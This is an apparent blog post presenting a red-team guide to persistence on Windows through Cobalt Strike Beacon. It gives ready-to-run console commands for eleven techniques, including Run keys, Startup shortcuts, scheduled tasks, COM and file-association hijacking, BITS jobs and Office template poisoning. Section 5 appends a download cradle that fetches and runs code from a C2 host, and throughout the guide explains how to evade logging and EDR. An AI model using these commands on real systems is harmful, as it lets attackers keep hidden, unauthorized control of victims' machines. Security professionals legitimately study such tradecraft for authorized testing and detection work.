Cobalt Strike Persistence: The Red Teamer's Guide to Maintaining Access
Updated on February 15, 2026
Table of Contents
- Introduction
- Beacon Context & OpSec
- 1. Registry Run Keys via Beacon
- 2. The Startup Folder (Upload & LNK)
- 3. Scheduled Tasks (The CS Way)
- 4. Screensaver Hijacking
- 5. PowerShell Profile Injection
- 6. COM Hijacking (Registry Manipulation)
- 7. Logon Scripts
- 8. File Association Hijacking
- 9. BITS Jobs via Shell
- 10. Office Template Poisoning
- 11. LNK Hijacking
- Detection & Artifacts
- Conclusion
Introduction
In the world of adversarial simulation, landing a Beacon is only the first step. The real challenge often lies in keeping that access alive. When you are operating through Cobalt Strike, your methodology changes. You aren't just typing into a local CMD prompt; you are managing asynchronous agents, dealing with sleep cycles, and trying to minimize your on-disk footprint.
Persistence with Cobalt Strike requires a different mindset. You need to leverage Beacon's built-in capabilities like shell, powershell, and execute-assembly—to establish footholds that can survive a reboot.
This guide translates standard userland persistence techniques into actionable Cobalt Strike workflows. We will focus on maintaining access as a standard user, assuming you haven't yet escalated to SYSTEM.
Beacon Context & OpSec
Before executing any of these commands, check your context. Running persistence commands blindly is a quick way to burn an operation.
- Check User Context: Run
getuidto confirm you are in a user process, not a high-integrity context (unless intended). - Sleep Cycle: Remember that interactive commands (like
shell) will hang until the Beacon checks in. Usesleep 0temporarily if you need instant feedback, but revert tosleep 60or higher immediately after. - OpSec Warning: The
shellcommand spawnscmd.exeas a child process. In highly monitored environments, prefer using Beacon Object Files (BOFs),execute-assembly, or built-in commands likereg_setwhere possible to avoid process creation events.
1. Registry Run Keys via Beacon
MITRE ATT&CK: T1547.001
The Registry Run key is the most straightforward method. While you can use `shell reg add`, it is noisy because it spawns `cmd.exe`. The superior method is to use Beacon's built-in reg_set command, which modifies the registry via internal APIs without creating a child process.
Beacon Console
# Check existing entries (Stealthy, no cmd.exe)
reg_query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# Add a persistence entry (Stealthy)
# Syntax: reg_set [Key] [ValueName] [Data]
reg_set HKCU\Software\Microsoft\Windows\CurrentVersion\Run "OneDriveSync" "C:\Users\Public\beacon.exe"
# Legacy/Loud Method (Spawns cmd.exe - Avoid unless necessary)
shell reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveSync" /t REG_SZ /d "C:\Users\Public\beacon.exe" /f
2. The Startup Folder (Upload & LNK)
MITRE ATT&CK: T1547.001
In Cobalt Strike, we don't just "copy" files; we upload them. For the Startup folder, dropping a raw EXE is noisy. Instead, upload your payload to a hidden directory and then create a shortcut (LNK) in the Startup folder using PowerShell one-liners.
Beacon Console
# 1. Move to the startup directory
cd %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
# 2. Upload a benign-looking LNK file (Pre-generated on your teamserver)
upload /path/to/local/Update.lnk
# ALTERNATIVE: Create LNK on the fly using PowerShell
powershell $s=(New-Object -COM WScript.Shell).CreateShortcut($env:APPDATA+'\Microsoft\Windows\Start Menu\Programs\Startup\EdgeUpdate.lnk');$s.TargetPath='C:\Users\Public\beacon.exe';$s.WindowStyle=7;$s.Save()
3. Scheduled Tasks (The CS Way)
MITRE ATT&CK: T1053.005
Creating tasks via schtasks is effective but creates a process tree. If you have the SharPersist tool compiled, you can use execute-assembly to create tasks entirely in memory, avoiding the `cmd.exe` spawn.
Beacon Console (Standard)
# Create a task running on logon
shell schtasks /create /tn "GoogleUpdateTaskUser" /tr "C:\Users\Public\beacon.exe" /sc onlogon /ru %USERNAME% /f
# Create a task running on idle
shell schtasks /create /tn "SystemIdleService" /tr "C:\Users\Public\beacon.exe" /sc onidle /i 10 /f
Beacon Console (execute-assembly)
# Using SharPersist (much stealthier)
execute-assembly /opt/Tools/SharPersist.exe -t schtask -c "C:\Users\Public\beacon.exe" -n "Updater" -m add -o onlogon
4. Screensaver Hijacking
MITRE ATT&CK: T1546.002
This technique relies on the user stepping away from their computer. We can manipulate the registry values directly from the Beacon console using reg_set to avoid command line logging.
Beacon Console
# Disable password protection for the screensaver
reg_set "HKCU\Control Panel\Desktop" "ScreenSaverIsSecure" "0"
# Enable screensaver functionality
reg_set "HKCU\Control Panel\Desktop" "ScreenSaveActive" "1"
# Set the malicious payload as the screensaver
reg_set "HKCU\Control Panel\Desktop" "SCRNSAVE.EXE" "C:\Users\Public\beacon.cmd"
5. PowerShell Profile Injection
MITRE ATT&CK: T1546.013
If your target is a power user or admin, they likely use PowerShell. We can append a download cradle to their profile. This executes your Beacon every time they open a terminal.
Beacon Console
# Check if profile exists
powershell Test-Path $PROFILE
# Create the profile file if it doesn't exist
powershell New-Item -Path $PROFILE -Type File -Force
# Append the cradle (Using `>>` to avoid overwriting existing configs)
shell echo IEX (New-Object Net.WebClient).DownloadString('http://c2-domain.com/a') >> %USERPROFILE%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
6. COM Hijacking (Registry Manipulation)
MITRE ATT&CK: T1546.015
COM hijacking requires precision. You need to identify a valid CLSID and redirect it. In Beacon, we do this by adding registry keys to HKCU. Again, we prefer reg_set over shell.
Beacon Console
# Define target CLSID (Example)
# This points the CLSID to our DLL in the user hive
reg_set "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" "" "C:\Users\Public\beacon.dll"
# Set threading model
reg_set "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" "ThreadingModel" "Apartment"
7. Logon Scripts
MITRE ATT&CK: T1037.001
The UserInitMprLogonScript environment variable is a legacy feature that still triggers on modern Windows. It is a great place to hide if the Run keys are heavily monitored.
Beacon Console
# Upload the script first
upload /local/path/update.bat C:\Users\Public\Music\update.bat
# Set the environment variable using reg_set
reg_set "HKCU\Environment" "UserInitMprLogonScript" "C:\Users\Public\Music\update.bat"
8. File Association Hijacking
MITRE ATT&CK: T1546.001
This intercepts file execution. If we hijack .txt, every time the user opens a note, we get a callback.
Beacon Console
# Verify the handler for .txt
shell assoc .txt
# Create the hijack command
# Note: We need 'shell' here for the complex command string execution,
# or we can construct the registry key carefully.
# The command runs our payload, then opens the original file (%1) in Notepad
reg_set "HKCU\Software\Classes\txtfile\shell\open\command" "" "cmd.exe /c start /min C:\Users\Public\beacon.exe & notepad.exe %1"
9. BITS Jobs via Shell
MITRE ATT&CK: T1197
BITS is designed for file transfers, but its notification feature can execute programs. This is often ignored by standard antivirus solutions.
Beacon Console
# Create the job
shell bitsadmin /create UpdaterJob
# Add a dummy file (required for the job to run)
shell bitsadmin /addfile UpdaterJob http://127.0.0.1/a.png C:\Windows\Temp\a.png
# Set the command to execute upon error or completion
shell bitsadmin /SetNotifyCmdLine UpdaterJob "C:\Users\Public\beacon.exe" NULL
# Start the job
shell bitsadmin /resume UpdaterJob
10. Office Template Poisoning
MITRE ATT&CK: T1137.001
Replacing the global Word template (Normal.dotm) ensures your macro runs whenever Word is launched. You should generate a macro-enabled template on your attack machine first.
Beacon Console
# Navigate to templates directory
cd %APPDATA%\Microsoft\Templates
# Rename the existing template (always have a backup strategy)
shell ren Normal.dotm Normal.old
# Upload your weaponized template
upload /opt/payloads/MaliciousNormal.dotm
Note: You will need to rename the uploaded file to Normal.dotm after upload using the mv command in Beacon.
11. LNK Hijacking
MITRE ATT&CK: T1547.009
This modifies existing shortcuts on the Desktop. We use PowerShell within Beacon to modify the TargetPath of an icon like Chrome or Edge.
Beacon Console
# Modify Chrome shortcut to run Beacon first
powershell $s=(New-Object -COM WScript.Shell).CreateShortcut("$env:USERPROFILE\Desktop\Google Chrome.lnk");$s.TargetPath="cmd.exe";$s.Arguments="/c start C:\Users\Public\beacon.exe & start chrome.exe";$s.Save()
Detection & Artifacts
As a Red Teamer, you must understand what trails you are leaving behind. Cobalt Strike's default behavior is well-documented.
- Process Create Events (4688): Every
shellcommand spawnscmd.exe/conhost.exe. Defenders look forcmd.exespawned byrundll32.exeorpowershell.exe(common Beacon hosts). - Registry Modifications: EDRs hook registry writes to
Runkeys. Usingexecute-assemblywith C# tools can sometimes bypass the command-line logging, but the registry event is still generated. - Network Beacons: Persistence is useless if your C2 profile is flagged. Ensure your Malleable C2 Profile is configured with high jitter and legitimate-looking traffic patterns.
Conclusion
Maintaining access using Cobalt Strike is about blending in. While the techniques remain similar to manual exploitation, the execution method matters. Avoid spamming shell commands if you can use BOFs or in-memory execution, and always clean up your persistence mechanisms when the engagement ends.
Persistence is a privilege, not a right. Treat your access with care.
Enjoyed this guide? Share your thoughts below and tell us how you leverage Cobalt Strike Persistence in your projects!


No comments:
Post a Comment